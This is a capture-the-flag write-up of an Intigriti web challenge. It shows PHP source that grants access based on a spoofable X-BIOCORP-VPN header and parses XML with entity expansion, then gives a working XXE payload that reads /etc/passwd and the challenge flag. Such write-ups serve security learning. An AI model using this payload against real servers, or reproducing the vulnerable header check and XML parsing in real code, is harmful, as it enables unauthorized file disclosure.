Here is a very easy challenge from the Intigriti CTF that I solved, but I found it interesting because I wasn’t aware of how PHP handled custom headers on the back-end.
📜 Challenge Description
- Source code: Yes
- Dockerfile: Yes
BioCorp contacted us with some concerns about the security of their network. Specifically, they want to make sure they’ve decoupled any dangerous functionality from the public-facing website. Could you give it a quick review?
🕵️ Proof of Concept
We are presented with a PHP website, and we have access to its source code. We can see a “flag.txt” file at the root of the site, so we deduce that we will need either code execution or a way to read this file.
Most of the files are irrelevant, except for the panel.php
file, whose source code is shown below:
<?php
$ip_address = $_SERVER['HTTP_X_BIOCORP_VPN'] ?? $_SERVER['REMOTE_ADDR'];
if ($ip_address !== '80.187.61.102') {
echo "<h1>Access Denied</h1>";
echo "<p>You do not have permission to access this page.</p>";
exit;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && strpos($_SERVER['CONTENT_TYPE'], 'application/xml') !== false) {
$xml_data = file_get_contents('php://input');
$doc = new DOMDocument();
if (!$doc->loadXML($xml_data, LIBXML_NOENT)) {
echo "<h1>Invalid XML</h1>";
exit;
}
} else {
$xml_data = file_get_contents('data/reactor_data.xml');
$doc = new DOMDocument();
$doc->loadXML($xml_data, LIBXML_NOENT);
}
$temperature = $doc->getElementsByTagName('temperature')->item(0)->nodeValue ?? 'Unknown';
$pressure = $doc->getElementsByTagName('pressure')->item(0)->nodeValue ?? 'Unknown';
$control_rods = $doc->getElementsByTagName('control_rods')->item(0)->nodeValue ?? 'Unknown';
include 'header.php';
?>
Source Code Analysis
We quickly notice that the challenge has two parts: the first involves bypassing the access restriction to the panel, and the second is likely exploiting an XXE vulnerability, as it processes XML data without any particular security measures.
The code snippet below shows that the $ip_address
variable takes the value of the HTTP_X_BIOCORP_VPN
header, and if it doesn’t exist, the variable takes the IP address from the REMOTE_ADDR
header, which automatically captures the client’s IP. If the IP address is not strictly equal to 80.187.61.102
, access is denied, and the program halts.
$ip_address = $_SERVER['HTTP_X_BIOCORP_VPN'] ?? $_SERVER['REMOTE_ADDR'];
if ($ip_address !== '80.187.61.102') {
echo "<h1>Access Denied</h1>";
echo "<p>You do not have permission to access this page.</p>";
exit;
}
I wasn’t aware of how PHP retrieves or interprets HTTP headers via the $_SERVER
variable. Therefore, I had to set up the challenge locally and debug it manually.
Exploitation
Accessing the Panel
To debug, I simply added var_dump($_SERVER);
after assigning the value to the $ip_address
variable to inspect the content of the $_SERVER
variable.
I intercepted a request using Burp and sent a request to panel.php
, adding the header HTTP_X_BIOCORP_VPN: 80.187.61.102
.
Of course, access was denied, and thanks to the var_dump($_SERVER);
, I could see that the header wasn’t even retrieved by the $_SERVER
variable. After some testing, attempting to rewrite, modify, or override other headers, the right reflex was to check the PHP documentation :) to understand exactly how the $_SERVER
variable works: https://www.php.net/manual/en/reserved.variables.server.php.
While browsing the page, I found the following helpful comment regarding custom headers:
This made it clear that to retrieve the value of a header formatted as X-Debug-Custom: some string
, it should be accessed in PHP with $_SERVER['HTTP_X_DEBUG_CUSTOM']
.
So, revisiting the challenge’s source code: $_SERVER['HTTP_X_BIOCORP_VPN']
should correspond to the X-BIOCORP-VPN
header. Indeed, the header was now visible, and we were able to access the panel:
XXE
From the source code, we understand that XML data can be sent, saved to a file, and processed. Then, the value contained within the temperature
tag, for instance, is returned. We can construct a standard XXE payload to read files:
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<exploit>
<temperature>&xxe;</temperature>
<pressure>test</pressure>
<control_rods>test</control_rods>
</exploit>
We successfully retrieve the contents of the passwd
file:
Since the flag is located at the server root, we just need to retrieve it!
And the flag is: INTIGRITI{c4r3ful_w17h_7h053_c0n7r0l5_0r_7h3r3_w1ll_b3_4_m3l7d0wn}